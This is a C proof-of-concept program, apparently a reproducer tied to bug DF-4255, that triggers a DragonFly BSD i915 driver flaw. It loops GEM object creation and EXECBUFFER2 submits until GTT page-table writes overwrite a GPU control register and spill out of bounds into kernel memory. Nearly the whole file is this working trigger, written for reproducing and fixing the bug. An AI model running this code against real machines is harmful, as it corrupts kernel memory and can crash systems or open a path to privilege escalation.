DF-4255 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 | /* * DF-4255 trigger โ drive GGTT PTE installation through the agp_i915 path * on a 915G/945G-class machine. * * Would-be behavior on affected hardware: every EXECBUFFER2 submit binds * the batch object into the GGTT via intel_gtt_insert_sg_entries -> * agp_i915_write_gtt, which on DragonFly writes the PTE to MMADR * (sc_res[0]) โ the register BAR โ instead of GTTADR (sc_res[1]). * * The loop creates and execs many objects so that successive allocations * climb to high GTT indices; index 0x808 overwrites PGTBL_CTL (MMADR * +0x2020) and, on a >128MB aperture, indices >= 32768 write past the * mapped MMADR resource (OOB write into adjacent kernel KVA). * * Self-contained (vendored uapi definitions from * sys/dev/drm/include/uapi/drm/i915_drm.h) so it builds without the * kernel's linux/types.h chain. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <stdint.h> #include <sys/ioctl.h> #include <sys/ioccom.h> #define DRM_COMMAND_BASE 0x40 #define DRM_IOCTL_BASE 'd' #define DRM_I915_GEM_CREATE 0x1b #define DRM_I915_GEM_EXECBUFFER2 0x29 struct drm_i915_gem_create { uint64_t size; uint32_t handle; uint32_t pad; }; /* exact layout from sys/dev/drm/include/uapi/drm/i915_drm.h */ struct drm_i915_gem_exec_object2 { uint32_t handle; uint32_t relocation_count; uint64_t relocs_ptr; uint64_t alignment; uint64_t offset; uint64_t flags; uint64_t rsvd1; uint64_t pad_to_size; uint64_t rsvd2; }; struct drm_i915_gem_execbuffer2 { uint64_t buffers_ptr; uint32_t buffer_count; uint32_t batch_start_offset; uint32_t batch_len; uint32_t DR1; uint32_t DR4; uint32_t num_cliprects; uint64_t cliprects_ptr; uint64_t flags; uint64_t rsvd1; uint64_t rsvd2; }; #define I915_EXEC_RENDER (1 << 0) #define IOCTL_CREATE _IOWR(DRM_IOCTL_BASE, \ DRM_COMMAND_BASE + DRM_I915_GEM_CREATE, struct drm_i915_gem_create) #define IOCTL_EB2 _IOW(DRM_IOCTL_BASE, \ DRM_COMMAND_BASE + DRM_I915_GEM_EXECBUFFER2, struct drm_i915_gem_execbuffer2) static int fd; static uint32_t gem_create(uint64_t size) { struct drm_i915_gem_create gc; memset(&gc, 0, sizeof(gc)); gc.size = size; if (ioctl(fd, IOCTL_CREATE, &gc) < 0) { perror("DRM_IOCTL_I915_GEM_CREATE"); exit(1); } return gc.handle; } int main(void) { struct drm_i915_gem_execbuffer2 eb; struct drm_i915_gem_exec_object2 obj[1]; uint32_t batch; int i; fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("open /dev/dri/card0"); return 1; } /* 8 MB object => 2048 PTEs per bind; walk the allocator upward */ for (i = 0; i < 96; i++) { batch = gem_create(8 * 1024 * 1024); memset(obj, 0, sizeof(obj)); obj[0].handle = batch; memset(&eb, 0, sizeof(eb)); eb.buffers_ptr = (uintptr_t)obj; eb.buffer_count = 1; eb.batch_len = 0; /* nop submit: bind only */ eb.flags = I915_EXEC_RENDER; if (ioctl(fd, IOCTL_EB2, &eb) < 0) { perror("EXECBUFFER2"); continue; } printf("bind %d ok (GTT walk %d KB deep)\n", i, (i + 1) * 8 * 1024); fflush(stdout); } printf("done โ check dmesg for GPU faults / PGTBL_CTL corruption\n"); return 0; } |